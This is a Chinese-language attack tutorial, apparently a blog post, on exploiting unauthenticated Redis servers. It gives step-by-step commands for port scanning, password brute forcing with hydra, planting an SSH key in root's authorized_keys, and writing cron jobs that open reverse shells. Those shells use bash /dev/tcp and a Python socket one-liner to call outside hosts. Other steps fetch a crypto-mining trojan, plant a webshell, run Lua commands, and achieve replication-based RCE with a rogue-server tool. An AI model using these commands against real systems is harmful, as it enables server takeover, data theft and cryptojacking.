0x00 Redis
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
0x01 未授权访问漏洞
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权’访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
1 获取主机端口开放信息
1 | nmap -A -p 6379 --script=redis-info 10.240.210.110 |
2 Redis未授权访问获取敏感信息
Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。
1 | redis-cli -h 10.240.210.110 |
0x02 利用hydra暴力破解redis的密码
如果redis设置了密码,且密码轻度低,可通过暴力破解获取密码
1 | hydra -P 500-worst-passwords.txt redis://10.240.210.110 |
0x03 写ssh-keygen公钥然后使用私钥登陆
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓存文件authorized.keys,把缓存的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生成一个授权的key。
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
- 首先本地生成key
1
ssh-keygen -t rsa
- redis 执行命令
1
2
3
4
5
6
7
8
910.240.210.110:6379> config set dir /root/.ssh/
OK
10.240.210.110:6379> config set dbfilename authorized_keys
OK
10.240.210.110:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCef7YHGr3apU1h+ay+u4ytHeKuSbrgSl/l0D5p5oIZ/tMNtudy+voXzk16MTxaPo0YnwcnBAbIou8toDV2dec01eq6YnRgwASDwQQX5pAzsHA1yhktW46LWQ+4l3RctqYtBnL4azm+3gO49VrcTZbvTNDlsRAXLIcCPvQhNXY+X/8RmNcUMoReBt+uKXApiUOWMp5vADyMnBAmVN2/5QEk7Kbiw0Sd6Ma0GRZ4gMmXinCeMz1jU540DxM9Zqkkjk13sR/A0n7u7wIDyiUlsiNKU09yphMLedjXEcyNIwbFoTAHixxbj6I2CVlSj4AawcaMWRkLd4SA7yvM3S7cWhB [email protected]
\n\n\n" # 使用\n\n换行,避免和redis里面其他缓存数据混合
OK
10.240.210.110:6379> save
OK - save保存后可以直接利用私钥登陆ssh
1
ssh -i id_rsa [email protected]
0x04 利用计划任务执行命令反弹shell
原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。
在redis以root权限运行时可以写crontab来执行命令反弹shell
现在自己服务器上监听一个端口
1
nc -lvvp 50000
连接redis,写入反弹shell
1
2
3
4
5
6
7
810.240.210.110:6379> set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.240.210.111/50000 0>&1\n\n"
OK
10.240.210.110:6379> config set dir /var/spool/cron/
OK
10.240.210.110:6379> config set dbfilename root
OK
10.240.210.110:6379> save
OKpython 反弹shell
1
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
1分钟之后服务器接收到反弹的shell
其他比如写入挖矿程序原理和这个是一样的,通过计划任务,到指定网站下载挖矿木马和shell脚本
1 | vim 1.sh |
连接redis,写入计划任务
1 | config set dir /var/spool/cron |
1分钟后,在centos的/tmp目录下可以看到挖矿木马watch-smartd,并且具有x权限,使用top命令,可以看到挖矿木马已经执行,占用大量的cpu
0x05 在web目录下写入webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,用菜刀连接可达到控制服务器的目的。
1 | 10.240.210.110:6379> config set dir /var/www/html/ |
0x06 利用redis执行命令
redis < 2.6 内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。
1 | vim hello.lua |
在客户端连接redis服务器并执行hello.lua
1 | redis-cli eval "$(cat hello.lua)" 0 -h 10.240.210.110 |
0x07 Redis 基于主从复制的RCE 复现
前面几种通过未授权的redis写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了
但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
影响范围
Redis 4.x/5.x
通过主从复制getshell
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
通过编写恶意so文件,执行命令
https://github.com/Dliv3/redis-rogue-server
1 | python3 redis-rogue-server.py --rhost 10.240.210.110 --rport 6379 --lhost 10.240.210.111 --lport 50000 |